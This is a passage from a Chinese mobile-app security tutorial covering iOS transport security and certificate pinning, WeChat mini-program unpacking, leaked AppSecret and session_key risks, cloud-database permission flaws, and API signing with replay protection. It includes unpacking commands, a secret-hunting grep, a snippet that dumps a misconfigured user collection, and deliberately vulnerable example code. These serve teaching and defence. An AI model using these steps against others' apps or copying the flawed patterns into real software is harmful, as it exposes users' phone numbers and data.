    <true/>        <!-- ❌❌❌ 相当于放弃了传输安全 -->
</dict>
<!-- ✅ 正确:ATS 默认开启,只为特定域名配置例外(且理由充分) -->
<key>NSAppTransportSecurity</key>
<dict>
    <!-- ① 全局保持默认(强制 HTTPS + TLS 1.2+ + 前向保密) -->

    <!-- ② 只为特定域名例外(比如第三方 SDK 的 HTTP 域名) -->
    <key>NSExceptionDomains</key>
    <dict>
        <key>cdn.thirdparty.com</key>
        <dict>
            <!-- ⚠️ 尽量不用 ArbitraryLoads,而用更精确的例外 -->
            <key>NSExceptionAllowsInsecureHTTPLoads</key>
            <true/>
            <key>NSIncludesSubdomains</key>
            <false/>       <!-- ★ 只在必要时开子域 -->
            <key>NSExceptionMinimumTLSVersion</key>
            <string>TLSv1.2</string>      <!-- ★ 即便例外,也要求最低 TLS 1.2 -->
        </dict>
    </dict>
</dict>

证书绑定(URLSession):

/**
 * ✅✅✅ iOS 证书绑定(Certificate Pinning)
 */
class PinnedSessionDelegate: NSObject, URLSessionDelegate {

    /// ★ 允许的 SPKI 哈希(从证书算出来的 base64)
    private let pinnedHashes: [String: Set<String>] = [
        "api.example.com": [
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",   // 主证书
            "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB="    // ★ 备份证书(必须!)
        ],
        "pay.example.com": [
            "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC="
        ]
    ]

    /**
     * ★ 处理证书认证挑战
     */
    func urlSession(_ session: URLSession,
                    didReceive challenge: URLAuthenticationChallenge,
                    completionHandler: @escaping (URLSession.AuthChallengeDisposition,
                                                  URLCredential?) -> Void) {

        // ① 只处理服务器信任挑战
        guard challenge.protectionSpace.authenticationMethod
                == NSURLAuthenticationMethodServerTrust,
              let serverTrust = challenge.protectionSpace.serverTrust else {
            // 其他类型的挑战,用默认处理
            completionHandler(.performDefaultHandling, nil)
            return
        }

        // ② 基本校验:证书链是否可信
        var error: CFError?
        let isValid = SecTrustEvaluateWithError(serverTrust, &error)
        guard isValid else {
            print("[SEC] 证书链验证失败: \(String(describing: error))")
            completionHandler(.cancelAuthenticationChallenge, nil)
            return
        }

        // ③ ★ 证书绑定:比对公钥哈希
        let host = challenge.protectionSpace.host

        guard let trustedHashes = pinnedHashes[host] else {
            // 该 host 没配 pin → 只做标准验证
            completionHandler(.performDefaultHandling, nil)
            return
        }

        // ④ 遍历证书链,找匹配的哈希
        for index in 0..<SecTrustGetCertificateCount(serverTrust) {
            guard let cert = SecTrustGetCertificateAtIndex(serverTrust, index),
                  let publicKey = SecCertificateCopyKey(cert),
                  let publicKeyData = SecKeyCopyExternalRepresentation(publicKey, nil) else {
                continue
            }

            // 算 SHA-256 哈希
            let hash = sha256(data: publicKeyData as Data)
            let hashBase64 = Data(hash).base64EncodedString()

            if trustedHashes.contains(hashBase64) {
                print("[SEC] 证书绑定验证通过 host=\(host)")
                completionHandler(.useCredential,
                                  URLCredential(trust: serverTrust))
                return
            }
        }

        // ⑤ ★ 没有任何一个匹配 → 拒绝(可能是中间人攻击)
        print("[SEC] ❌ 证书绑定验证失败 host=\(host),拒绝连接")
        SecurityLogger.shared.report("CERT_PINNING_FAILED", host: host)
        completionHandler(.cancelAuthenticationChallenge, nil)
    }

    private func sha256(data: Data) -> [UInt8] {
        var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
        data.withUnsafeBytes {
            _ = CC_SHA256($0.baseAddress, CC_LONG(data.count), &hash)
        }
        return hash
    }
}

/**
 * 使用
 */
let config = URLSessionConfiguration.default
let session = URLSession(configuration: config,
                        delegate: PinnedSessionDelegate(),
                        delegateQueue: nil)

4.5.5 iOS 其他要点

要点 说明 做法
URL Scheme 劫持 自定义 scheme(myapp://)可被其他 App 抢注 用 Universal Links(https + apple-app-site-association)
剪贴板泄露 iOS 16+ 粘贴时会弹窗询问(系统已修);但 App 后台仍能读剪贴板 敏感页面禁用复制,或设置 UIPasteboard 过期时间
截图泄露 后台切换时系统会截图存在磁盘 敏感页面加遮罩(applicationDidEnterBackground 时盖一层)
键盘缓存 UITextField 默认会缓存输入到键盘词典 敏感输入 autocorrectionType = .no + isSecureTextEntry = true
日志泄露 print() 在生产仍会输出到系统日志(可被 logcat/Console 抓) 用封装的 SecureLog,Release 关闭
越狱后的 Keychain 越狱后 Keychain 可读,但内容仍是加密的 敏感数据用 ThisDeviceOnly + 生物识别保护
/**
 * ✅ 敏感页面的截图防护
 */
class SecureViewController: UIViewController {

    private var blurView: UIVisualEffectView?

    override func viewWillAppear(_ animated: Bool) {
        super.viewWillAppear(animated)
        setupScreenshotProtection()
    }

    private func setupScreenshotProtection() {
        NotificationCenter.default.addObserver(
            self,
            selector: #selector(appDidEnterBackground),
            name: UIApplication.didEnterBackgroundNotification,
            object: nil)

        NotificationCenter.default.addObserver(
            self,
            selector: #selector(appWillEnterForeground),
            name: UIApplication.willEnterForegroundNotification,
            object: nil)

        // ★ iOS 13+ 可以检测截屏
        NotificationCenter.default.addObserver(
            self,
            selector: #selector(userDidTakeScreenshot),
            name: UIApplication.userDidTakeScreenshotNotification,
            object: nil)
    }

    /// 进入后台时盖一层模糊(★ 防止系统截图泄露内容)
    @objc private func appDidEnterBackground() {
        let blur = UIVisualEffectView(effect: UIBlurEffect(style: .light))
        blur.frame = view.bounds
        blur.tag = 999
        view.addSubview(blur)
        self.blurView = blur
    }

    @objc private func appWillEnterForeground() {
        view.viewWithTag(999)?.removeFromSuperview()
        blurView = nil
    }

    /// 用户截屏 → 记录 + 提示
    @objc private func userDidTakeScreenshot() {
        SecurityLogger.shared.report("SCREENSHOT_TAKEN",
                                     page: String(describing: type(of: self)))
        // ★ 敏感页面可以提示"该页面不支持截屏"
    }
}

4.6 小程序安全(微信 / 支付宝 / 抖音)

4.6.1 小程序的“特殊性”(★ 和原生 App 都不一样)

★ 核心认知: 小程序的代码不在用户设备上(存在平台服务器,每次启动下载), 所以攻击者改不了代码 —— 这比原生 App 安全。

但小程序的逻辑跑在本地,而且数据包可以被解包, 所以代码逻辑、接口地址、AppSecret(如果硬编码)都能被看到。

维度 原生 App 小程序
代码位置 用户设备(可反编译) 平台服务器(用户下载的是打包文件,可解包看源码)
能改代码吗 能(重打包) ❌ 不能(改了本地也没用,因为每次从平台拉)
能抓包吗 能 能(而且更简单,走手机代理即可)
能看源码吗 需要反编译(Java 层容易,so 难) ✅ 很容易(解包就是 JS,几乎原样)
主要风险 逆向、Hook、改内存 ★ 源码泄露(硬编码密钥)、云函数/接口越权、登录态

4.6.2 漏洞 1:小程序解包导致源码泄露(★ 最常见)

解包流程(以微信小程序为例,10 分钟搞定):

# ===== ① 找到小程序的包文件 =====
# Android(微信):/data/data/com.tencent.mm/MicroMsg/<用户hash>/appbrand/pkg/
#   文件名类似:_1123949441_xxx.wxapkg
# 需要 Root 或者用虚拟机/备份导出

adb pull /data/data/com.tencent.mm/MicroMsg/xxxx/appbrand/pkg/ ./wxpkgs/
ls ./wxpkgs/
#   _1123949441_45.wxapkg
#   _1123949441_46.wxapkg

# ===== ② 解包(工具很多)=====
# 工具 1:wxappUnpacker(Node.js)
git clone https://github.com/xuedingmiaojun/wxappUnpacker
cd wxappUnpacker && npm install
node wuWxapkg.js ../wxpkgs/_1123949441_45.wxapkg

# 工具 2:unwxapkg.py(Python)
python unwxapkg.py _1123949441_45.wxapkg

# 工具 3:KillWxapkg(GUI 工具,★ 新手推荐)

# ===== ③ 解包后得到(★ 几乎就是原始源码)=====
ls -R ./_1123949441_45/
#   app.js              主逻辑
#   app.json            配置(★ 包含所有页面路径)
#   app.wxss            样式
#   pages/
#     index/index.js
#     index/index.wxml
#   utils/
#     api.js            ★★ 接口地址全在这
#     crypto.js         ★★ 加解密逻辑和密钥
#     request.js        ★★ 签名算法

# ===== ④ 搜敏感信息 =====
grep -rE "appid|secret|key|token|https?://" ./_1123949441_45/ --include="*.js"

★ 解包后经常能拿到的致命信息:

// ❌❌❌ utils/config.js —— 硬编码的密钥和接口(解包 100% 能看到)
module.exports = {
  // ❌ AppSecret 泄露(★ 最致命,可以伪造小程序身份调微信接口)
  appId: 'wx1234567890abcdef',
  appSecret: 'a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6',

  // ❌ 接口签名密钥
  apiSecret: 'my_api_secret_2024',

  // ❌ 第三方服务密钥
  mapKey: 'AIzaSyD-xxxxx',
  ossAccessKey: 'LTAI5txxxxx',
  ossSecretKey: 'xxxxxxxx',

  // 接口地址
  baseURL: 'https://api.example.com/v1'
}

// ❌❌❌ utils/crypto.js —— 加解密密钥
const CryptoJS = require('crypto-js')
const AES_KEY = '1234567890123456'      // ❌ 硬编码 AES 密钥
const AES_IV  = '6543210987654321'

// ❌❌❌ utils/request.js —— 签名算法全暴露
function sign(params) {
  const sorted = Object.keys(params).sort()
  let str = ''
  sorted.forEach(k => str += k + '=' + params[k] + '&')
  str += 'key=' + config.apiSecret      // ★ 密钥在上面
  return md5(str).toUpperCase()
}

★ AppSecret 泄露的危害(比想象中严重得多):

拿到小程序的 AppID + AppSecret 之后,攻击者可以:

① 调用微信的 code2Session 接口(本来应该由你的服务端调)
   → 用任意用户的 code 换到 openid + session_key

② ★★ 解密用户的加密数据(encryptedData)
   微信把手机号、用户信息加密传给小程序,密钥就是 session_key
   拿到 session_key 就能解密 → 【拿到任意用户的手机号】

③ 伪造小程序身份调用微信接口
   发模板消息、获取 access_token、调用支付接口

④ ★ 结合 BOLA:用 openid 直接调你的业务接口查/改任意用户数据

✅ 修复:

// ✅✅✅ 正确做法:小程序端【零密钥】,所有敏感操作走服务端

// utils/config.js —— 只放非敏感的
module.exports = {
  // ✅ AppID 可以放(本来就是公开的)
  appId: 'wx1234567890abcdef',

  // ✅ 接口地址
  baseURL: 'https://api.example.com/v1'

  // ✅✅✅ 绝不出现:appSecret、apiSecret、任何第三方 Secret
  //   这些只能存在服务端
}
// ✅✅✅ utils/request.js —— 签名改为服务端下发 session key
const request = require('./http')

let sessionKey = null
let sessionKeyExpireAt = 0

/**
 * ★ 从服务端获取签名用的 session key(登录后调)
 * 服务端返回的是一个随机串,绑定 (openid, 设备),2 小时过期
 */
async function getSignKey() {
  if (sessionKey && Date.now() < sessionKeyExpireAt) {
    return sessionKey
  }

  const res = await request.post('/v1/session/key', {
    deviceId: wx.getStorageSync('device_id')
  })

  sessionKey = res.data.key
  sessionKeyExpireAt = res.data.expireAt
  return sessionKey
}

/**
 * ✅ 用动态 key 签名(不是硬编码的)
 */
async function signedRequest(url, data) {
  const key = await getSignKey()

  data.timestamp = Date.now()
  data.nonce = randomString(16)
  data.sign = sign(data, key)     // ★ key 是动态下发的

  return request.post(url, data)
}

/**
 * ★ 真正的签名算法放在【服务端】做校验,客户端的算法本来就是公开的
 *   客户端签名的意义只在于:防重放、防脚本小子、提高门槛
 */
function sign(params, key) {
  const sorted = Object.keys(params).filter(k =>
    !['sign', 'sign_type'].includes(k)).sort()
  let str = ''
  sorted.forEach(k => str += k + '=' + params[k] + '&')
  str += 'key=' + key
  return md5(str).toUpperCase()
}
/**
 * ✅✅✅ 服务端:AppSecret 只在这里(Java)
 */
@Service
public class WechatMiniProgramService {

    // ★ 从配置中心/环境变量读,绝不硬编码在代码里
    @Value("${wechat.miniapp.app-id}")
    private String appId;

    @Value("${wechat.miniapp.app-secret}")
    private String appSecret;      // ★★ 只存在服务端

    /**
     * ★ 小程序登录:code2Session 必须在服务端做
     */
    public LoginResult login(String code) {
        // ① 用小程序的 code 换 openid + session_key(★ 服务端调,AppSecret 不出服务端)
        String url = "https://api.weixin.qq.com/sns/jscode2session"
                + "?appid=" + appId
                + "&secret=" + appSecret          // ★ 只在服务端用
                + "&js_code=" + code
                + "&grant_type=authorization_code";

        WechatSessionResp resp = restTemplate.getForObject(url,
                WechatSessionResp.class);

        if (resp.getErrcode() != null && resp.getErrcode() != 0) {
            throw new BusinessException("微信登录失败:" + resp.getErrmsg());
        }

        String openid = resp.getOpenid();
        String sessionKey = resp.getSessionKey();   // ★★ 绝不返回给小程序端!

        // ② session_key 存服务端(Redis),生成一个自己的 token 给小程序
        String token = jwtService.generate(openid);
        redis.opsForValue().set("wx:session:" + openid, sessionKey,
                                7, TimeUnit.DAYS);

        // ③ 只把 token 返回(★ session_key 不出服务端)
        return LoginResult.of(token);
    }

    /**
     * ★ 解密用户手机号(encryptedData)—— 必须在服务端做
     */
    public String decryptPhoneNumber(String encryptedData, String iv,
                                      String openid) {
        // 从 Redis 取 session_key
        String sessionKey = redis.opsForValue().get("wx:session:" + openid);
        if (sessionKey == null) {
            throw new BusinessException("登录已过期,请重新登录");
        }

        try {
            // AES-128-CBC 解密
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS7Padding");
            SecretKeySpec keySpec = new SecretKeySpec(
                    Base64.getDecoder().decode(sessionKey), "AES");
            IvParameterSpec ivSpec = new IvParameterSpec(
                    Base64.getDecoder().decode(iv));
            cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec);

            byte[] decrypted = cipher.doFinal(
                    Base64.getDecoder().decode(encryptedData));

            String json = new String(decrypted, StandardCharsets.UTF_8);
            PhoneInfo info = objectMapper.readValue(json, PhoneInfo.class);
            return info.getPurePhoneNumber();

        } catch (Exception e) {
            throw new BusinessException("解密失败", e);
        }
    }
}

4.6.3 漏洞 2:小程序登录态设计缺陷

先理解小程序的登录流程(★ 面试常考):

① 小程序端调 wx.login()
   → 拿到一个临时的 code(5 分钟有效,只能用一次)

② 小程序把 code 发给【自己的服务端】

③ 服务端拿 code + appid + appsecret 调微信的 jscode2session
   → 拿到 openid(用户唯一标识)+ session_key(会话密钥)

④ 服务端生成自己的登录态(token),返回给小程序

⑤ 小程序后续请求都带上这个 token

★ 关键点:
   session_key 【绝不能】返回给小程序端
   (因为拿到 session_key 就能解密用户的手机号等加密数据)

漏洞代码:

// ❌❌❌ 致命:把 session_key 返回给了小程序端
@PostMapping("/wx/login")
public Map<String, Object> login(@RequestBody Map<String, String> body) {
    String code = body.get("code");

    WechatSessionResp resp = wechatService.code2Session(code);

    // ❌❌❌ 把 session_key 返回了!
    return Map.of(
            "openid", resp.getOpenid(),
            "session_key", resp.getSessionKey(),   // ★★★ 致命
            "token", jwtService.generate(resp.getOpenid())
    );
}
// ❌ 小程序端拿到 session_key 后,可以自己解密任意用户的数据
//   攻击者只要能诱导其他用户在他控制的页面授权,就能拿到手机号

其他常见登录态问题:

问题 后果 修复
session_key 下发到客户端 可解密任意用户加密数据 只发 token,session_key 存服务端
自己维护的 token 永不过期 Token 泄露后永久有效 设过期时间 + refresh 机制
code 可以重复使用 攻击者截获 code 后能登录 服务端用过的 code 要标记(微信本身 code 只能用一次)
openid 直接当 token 用 openid 是固定不变的,泄露即永久 服务端生成随机 token,openid 只在服务端关联
没校验 token 绑定的设备 Token 在别的设备也能用 token 绑定设备指纹,异常设备重新登录

✅ 正确实现:

/**
 * ✅✅✅ 正确的小程序登录实现
 */
@RestController
@RequestMapping("/v1/wx")
@Slf4j
public class WechatLoginController {

    @Autowired
    private WechatMiniProgramService wechatService;
    @Autowired
    private JwtService jwtService;
    @Autowired
    private RedisTemplate<String, String> redis;

    @PostMapping("/login")
    public LoginVO login(@RequestBody LoginDTO dto) {
        String code = dto.getCode();

        // ① 参数校验
        if (code == null || code.length() < 10 || code.length() > 64) {
            throw new IllegalArgumentException("非法的 code");
        }

        // ② ★ code 防重放:用过的 code 不能再用(微信本身有,但服务端再加一层)
        String codeKey = "wx:code:used:" + sha256(code);
        Boolean isNew = redis.opsForValue().setIfAbsent(codeKey, "1",
                10, TimeUnit.MINUTES);
        if (Boolean.FALSE.equals(isNew)) {
            log.warn("[安全] code 重复使用,拒绝 openId未知 code={}",
                     code.substring(0, Math.min(8, code.length())));
            throw new BusinessException("code 已失效,请重新登录");
        }

        // ③ code2Session(服务端调,AppSecret 不出服务端)
        WechatSessionResp resp = wechatService.code2Session(code);

        if (resp.getOpenid() == null) {
            throw new BusinessException("微信登录失败");
        }

        String openid = resp.getOpenid();
        String sessionKey = resp.getSessionKey();

        // ④ 查找/创建用户
        User user = userService.findByOpenid(openid);
        if (user == null) {
            user = userService.createFromWechat(openid);
        }

        // ⑤ 检查用户状态(封禁、风控)
        if (user.isBanned()) {
            throw new BusinessException("账号已被限制登录");
        }

        // ⑥ ★ session_key 存服务端(★ 绝不下发)
        redis.opsForValue().set("wx:session_key:" + openid, sessionKey,
                                7, TimeUnit.DAYS);

        // ⑦ 生成自己的 token(★ 带设备绑定、有过期时间)
        String deviceId = dto.getDeviceId();
        String token = jwtService.generate(JwtPayload.builder()
                .userId(user.getId())
                .openid(openid)
                .deviceId(deviceId)                  // ★ 绑定设备
                .audience("miniprogram")
                .expireIn(Duration.ofDays(7))
                .build());

        // ⑧ 生成 refresh token(更长有效期,用于续期)
        String refreshToken = generateRefreshToken(user.getId());
        redis.opsForValue().set("refresh:" + user.getId(), refreshToken,
                                30, TimeUnit.DAYS);

        // ⑨ 记录登录日志(风控用)
        loginLogService.record(user.getId(), dto.getDeviceId(),
                               getClientIp(), "WECHAT_MINIAPP");

        // ⑩ ★★ 只返回 token,绝不返回 session_key
        return LoginVO.builder()
                .token(token)
                .refreshToken(refreshToken)
                .expiresIn(7 * 24 * 3600)
                .userId(user.getId())
                .isNewUser(user.isNewUser())
                .build();
    }

    /**
     * ✅ Token 校验时检查设备绑定
     */
    @GetMapping("/verify")
    public Map<String, Object> verify(HttpServletRequest request) {
        String token = extractToken(request);
        JwtPayload payload = jwtService.parse(token);

        // ★ 校验 token 里的 deviceId 和当前请求的一致
        String currentDevice = request.getHeader("X-Device-Id");
        if (!Objects.equals(payload.getDeviceId(), currentDevice)) {
            log.warn("[安全] Token 设备不匹配 userId={} tokenDevice={} currentDevice={}",
                     payload.getUserId(), payload.getDeviceId(), currentDevice);
            throw new BusinessException("登录状态异常,请重新登录");
        }

        return Map.of("valid", true, "userId", payload.getUserId());
    }
}

4.6.4 漏洞 3:小程序云函数 / 云数据库的越权

★ 微信云开发(CloudBase)的便利性和风险: 小程序可以直接调云函数、直接读写云数据库(不走你的服务器), 开发效率极高,但权限配置错误就是灾难。

漏洞:云数据库权限配置成了“所有用户可读”:

// ❌❌❌ 云数据库权限配置错误
{
  "read": true,        // ❌ 所有用户可读 = 全库数据任何人都能拉走
  "write": true        // ❌ 所有用户可写 = 任何人能改任何人的数据
}

攻击(在小程序控制台或者任意能调云函数的地方):

// ❌ 攻击者可以在自己的小程序里直接查全库
const db = wx.cloud.database()
db.collection('users').get({
  success: res => {
    console.log(res.data)      // ★ 全部用户数据,包括手机号、身份证
  }
})

✅ 修复:云数据库权限设为“仅创建者可读写”或“仅管理端可读写”

// ✅✅✅ 正确的权限配置
{
  "read": "doc._openid == auth.openid",     // ★ 只能读自己创建的
  "write": "doc._openid == auth.openid"     // ★ 只能改自己创建的
}

// 或者最严格:
{
  "read": false,     // ★ 客户端完全不可读,只能通过云函数访问
  "write": false     // ★ 客户端完全不可写
}
// ✅✅✅ 云函数里做鉴权(★ 推荐做法:客户端不直接操作数据库)
// cloudfunctions/getUserProfile/index.js
const cloud = require('wx-server-sdk')
cloud.init()
const db = cloud.database()

exports.main = async (event, context) => {
  const wxContext = cloud.getWXContext()
  const openid = wxContext.OPENID        // ★★ 这个 openid 是微信给的,【客户端伪造不了】

  // ① 校验登录态
  if (!openid) {
    return { code: 401, message: '未登录' }
  }

  // ② ★★ 关键:只查当前用户的数据(用服务端拿到的 openid,不是客户端传的)
  //    ❌ 错误:const { userId } = event; 然后查 userId  → BOLA!
  //    ✅ 正确:直接用 openid 查
  const res = await db.collection('users')
    .where({ _openid: openid })          // ★ 用系统给的 openid,不是参数
    .get()

  if (res.data.length === 0) {
    return { code: 404, message: '用户不存在' }
  }

  // ③ 返回时脱敏
  const user = res.data[0]
  return {
    code: 0,
    data: {
      nickName: user.nickName,
      avatarUrl: user.avatarUrl,
      phone: maskPhone(user.phone),        // ★ 脱敏
      // ★ 不返回:idCard、balance、internalScore
    }
  }
}

★ 云函数安全的核心原则(面试必答): “云函数里的 cloud.getWXContext().OPENID 是微信服务端注入的,客户端伪造不了。 这是小程序里唯一可信的身份来源。

所以云函数的铁律是: ① 永远用 OPENID 作为身份依据,绝不用客户端传的 userId / openid 参数 ② 云数据库权限设为“仅创建者可读写”,或者干脆 false,全走云函数 ③ 云函数里做完整的鉴权和数据归属校验 ④ 返回数据时脱敏,不返回敏感字段

反过来,如果云函数写了 const { userId } = event 然后去查 userId, 那就是标准的 BOLA —— 攻击者传别人的 userId 就能拿到别人的数据。“

4.6.5 小程序安全 Checklist

# 检查项 优先级
1 AppSecret 绝不出现在小程序端(只在服务端) ★★★
2 所有第三方 Secret(OSS、地图、支付)不放小程序端 ★★★
3 code2Session 和加密数据解密【必须在服务端】 ★★★
4 session_key 绝不下发到小程序端 ★★★
5 签名密钥动态下发,不硬编码 ★★
6 云数据库权限:仅创建者可读写,或 false + 云函数 ★★★
7 云函数里用 cloud.getWXContext().OPENID,不用客户端传的 userId ★★★
8 登录态 token 有过期时间 + 绑定设备 ★★
9 本地 Storage 不存敏感数据(wx.setStorageSync 是明文) ★★
10 接口走 HTTPS(平台强制) ★★★
11 定期检查:解包自己的小程序,看有没有泄露(★ 自查方法) ★★

4.7 ★ 移动端接口安全(签名、防重放、设备指纹)

★ 这一节是本章的“落地重点”。 前面讲的所有内容,最终都要落到“接口怎么设计”上。

4.7.1 移动端接口 vs Web 接口的三个特殊问题

问题 Web 移动端
身份凭据 HttpOnly Cookie(JS 拿不到,有 CSRF 防护) Token 存在客户端(一定会被拿到,XSS 风险不同但存储风险更大)
请求来源验证 有 Referer、Origin、CSRF Token 什么都没有(原生请求可以任意构造,没有浏览器约束)
防重放 有 Session + CSRF Token 必须自己做(timestamp + nonce)

★ 核心结论:

移动端接口 = 一个完全开放的 API。 攻击者抓一次包就能拿到接口地址、参数格式、签名算法(逆向 App 后), 然后可以用 Python 脚本无限调用。

唯一的防线是服务端: ① 每次请求都要带有效的身份凭据(Token) ② 每次请求都要做对象级授权(这个数据是不是这个用户的) ③ 防重放(同一个请求不能重复执行) ④ 限流(频率、次数) ⑤ 风控(设备指纹、行为分析)

4.7.2 接口签名设计(★ 完整方案)

先明确签名的“能”与“不能”(★★★ 面试必答):

签名能做什么 签名不能做什么
✅ 防参数篡改(改了金额,签名对不上) ❌ 防伪造(算法在 App 里,能逆向出来)
✅ 防重放(timestamp + nonce) ❌ 防越权(签名证明“是我发的”,不证明“我能看这个数据”)
✅ 提高门槛(挡住脚本小子) ❌ 替代服务端校验
✅ 完整性保护 ❌ 保密性(签名不加密内容)

★ 最重要的一句话: 签名解决的是“这个请求是不是我的 App 发的、有没有被改过”, 解决不了“这个人有没有权限访问这个数据”。 授权必须靠服务端的 BOLA 校验(第二章)。

签名方案 v1(基础版,有缺陷):

签名串 = 参数按 key 字典序排序 + 拼接 + 末尾加 key + MD5

sign = MD5(k1=v1&k2=v2&...&key=SECRET).toUpperCase()

问题:
  ❌ SECRET 硬编码在客户端 → 逆向后能伪造任意请求
  ❌ 没有 timestamp → 可以重放
  ❌ MD5 不够安全(但作为签名够用)

✅ 签名方案 v2(推荐,生产可用):

请求参数:
  appId        应用标识(公开)
  timestamp    时间戳(毫秒)★ 防重放
  nonce        随机串(16 位)★ 防重放
  sign         签名
  accessToken  用户 Token(如有登录)
  业务参数...

签名规则:
  ① 剔除 sign 本身和空值参数
  ② 剩余参数(含 timestamp、nonce)按 key 字典序排序
  ③ 拼成 k1=v1&k2=v2&...
  ④ 末尾拼接 &key=<sessionKey>       ★ sessionKey 是【动态下发】的
  ⑤ HMAC-SHA256(比 MD5 好)或 MD5
  ⑥ 转大写

服务端校验:
  ① 校验 timestamp 在 ±5 分钟内          ★ 防重放(时间窗口)
  ② 校验 nonce 在 Redis 里不存在          ★ 防重放(一次性)
  ③ 用 (userId, deviceId) 查出 sessionKey
  ④ 重新计算签名并比对(★ 常量时间比对,防时序侧信道)
  ⑤ 校验 Token 有效
  ⑥ ★ 做业务授权校验(BOLA)              ← 这一步和签名无关,但必须有

客户端实现(Android / OkHttp 拦截器):

/**
 * ✅✅✅ 接口签名拦截器(Android OkHttp)
 */
public class SigningInterceptor implements Interceptor {

    @Override
    public Response intercept(Chain chain) throws IOException {
        Request original = chain.request();
        HttpUrl originalUrl = original.url();

        // ① 生成 timestamp 和 nonce
        String timestamp = String.valueOf(System.currentTimeMillis());
        String nonce = generateNonce();

        // ② 收集所有参数(GET 参数 + POST body 参数)
        Map<String, String> params = new TreeMap<>();     // ★ TreeMap 自动排序

        // GET 参数
        for (int i = 0; i < originalUrl.querySize(); i++) {
            params.put(originalUrl.queryParameterName(i),
                       originalUrl.queryParameterValue(i));
        }

        // POST body 参数(application/x-www-form-urlencoded)
        if (original.body() != null && isFormBody(original.body())) {
            FormBody formBody = (FormBody) original.body();
            for (int i = 0; i < formBody.size(); i++) {
                params.put(formBody.name(i), formBody.value(i));
            }
        }

        // ③ 加入公共参数
        params.put("appId", BuildConfig.APP_ID);
        params.put("timestamp", timestamp);
        params.put("nonce", nonce);
        params.put("appVersion", BuildConfig.VERSION_NAME);
        params.put("deviceId", DeviceFingerprint.getDeviceId());

        // ④ 计算签名(★ 用动态下发的 sessionKey)
        String sessionKey = SessionKeyManager.getSignKey();
        String sign = sign(params, sessionKey);

        // ⑤ 构造新请求
        HttpUrl.Builder urlBuilder = originalUrl.newBuilder()
                .addQueryParameter("appId", BuildConfig.APP_ID)
                .addQueryParameter("timestamp", timestamp)
                .addQueryParameter("nonce", nonce)
                .addQueryParameter("sign", sign);

        Request request = original.newBuilder()
                .url(urlBuilder.build())
                .header("X-App-Version", BuildConfig.VERSION_NAME)
                .header("X-Device-Id", DeviceFingerprint.getDeviceId())
                .header("X-Platform", "android")
                .header("X-Request-Id", UUID.randomUUID().toString())
                .build();

        return chain.proceed(request);
    }

    /**
     * ★ 签名算法(HMAC-SHA256)
     */
    private String sign(Map<String, String> params, String key) {
        StringBuilder sb = new StringBuilder();
        for (Map.Entry<String, String> e : params.entrySet()) {
            if (e.getValue() == null || e.getValue().isEmpty()) {
                continue;      // ★ 跳过空值
            }
            sb.append(e.getKey()).append("=").append(e.getValue()).append("&");
        }
        sb.append("key=").append(key);

        return hmacSha256(sb.toString(), key).toUpperCase();
    }

    private String hmacSha256(String data, String key) {
        try {
            Mac mac = Mac.getInstance("HmacSHA256");
            SecretKeySpec spec = new SecretKeySpec(
                    key.getBytes(StandardCharsets.UTF_8), "HmacSHA256");
            mac.init(spec);
            byte[] bytes = mac.doFinal(data.getBytes(StandardCharsets.UTF_8));
            return bytesToHex(bytes);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    private String generateNonce() {
        byte[] bytes = new byte[8];
        new SecureRandom().nextBytes(bytes);
        return Base64.encodeToString(bytes, Base64.NO_WRAP);
    }
}

服务端实现(Spring Boot 拦截器):

/**
 * ✅✅✅ 服务端签名校验 + 防重放
 */
@Component
@Slf4j
public class ApiSignatureInterceptor implements HandlerInterceptor {

    private static final long TIMESTAMP_WINDOW_MS = 5 * 60 * 1000;   // ±5 分钟

    @Autowired
    private RedisTemplate<String, String> redis;
    @Autowired
    private SessionKeyRepository sessionKeyRepo;

    @Override
    public boolean preHandle(HttpServletRequest request,
                             HttpServletResponse response,
                             Object handler) throws Exception {

        // ===== ① 取参数 =====
        String appId     = request.getParameter("appId");
        String timestamp = request.getParameter("timestamp");
        String nonce     = request.getParameter("nonce");
        String sign      = request.getParameter("sign");
        String deviceId  = request.getHeader("X-Device-Id");
        String token     = request.getHeader("Authorization");

        // ===== ② 必填校验 =====
        if (isBlank(appId) || isBlank(timestamp) || isBlank(nonce) || isBlank(sign)) {
            reject(response, "MISSING_SIGN_PARAMS", "缺少签名参数");
            return false;
        }

        // ===== ③ 校验 appId =====
        if (!appConfig.isValidAppId(appId)) {
            reject(response, "INVALID_APP_ID", "非法的 appId");
            return false;
        }

        // ===== ④ ★ 防重放 1:时间戳窗口 =====
        long ts;
        try {
            ts = Long.parseLong(timestamp);
        } catch (NumberFormatException e) {
            reject(response, "INVALID_TIMESTAMP", "时间戳格式错误");
            return false;
        }

        long now = System.currentTimeMillis();
        if (Math.abs(now - ts) > TIMESTAMP_WINDOW_MS) {
            log.warn("[安全] 请求时间戳超出窗口 ts={} now={} diff={}ms",
                     ts, now, now - ts);
            reject(response, "TIMESTAMP_EXPIRED", "请求已过期,请校准时间");
            return false;
        }

        // ===== ⑤ ★ 防重放 2:nonce 一次性 =====
        String nonceKey = "api:nonce:" + appId + ":" + nonce;
        Boolean isNew = redis.opsForValue().setIfAbsent(
                nonceKey, "1", TIMESTAMP_WINDOW_MS * 2, TimeUnit.MILLISECONDS);

        if (Boolean.FALSE.equals(isNew)) {
            log.warn("[安全] nonce 重复使用(疑似重放攻击)appId={} nonce={}", appId, nonce);
            reject(response, "NONCE_REUSED", "请求已被处理");
            return false;
        }

        // ===== ⑥ 取 sessionKey(动态下发,绑定用户+设备)=====
        String sessionKey;
        if (token != null && token.startsWith("Bearer ")) {
            // 已登录:用用户级 sessionKey
            JwtPayload payload = jwtService.parse(token.substring(7));
            sessionKey = sessionKeyRepo.findActiveKey(
                    payload.getUserId(), deviceId);
        } else {
            // 未登录:用设备级 sessionKey(权限较低)
            sessionKey = sessionKeyRepo.findDeviceKey(appId, deviceId);
        }

        if (sessionKey == null) {
            reject(response, "NO_SESSION_KEY", "会话已失效,请重新获取");
            return false;
        }

        // ===== ⑦ 重新计算签名 =====
        Map<String, String> params = collectParams(request);
        params.put("appId", appId);
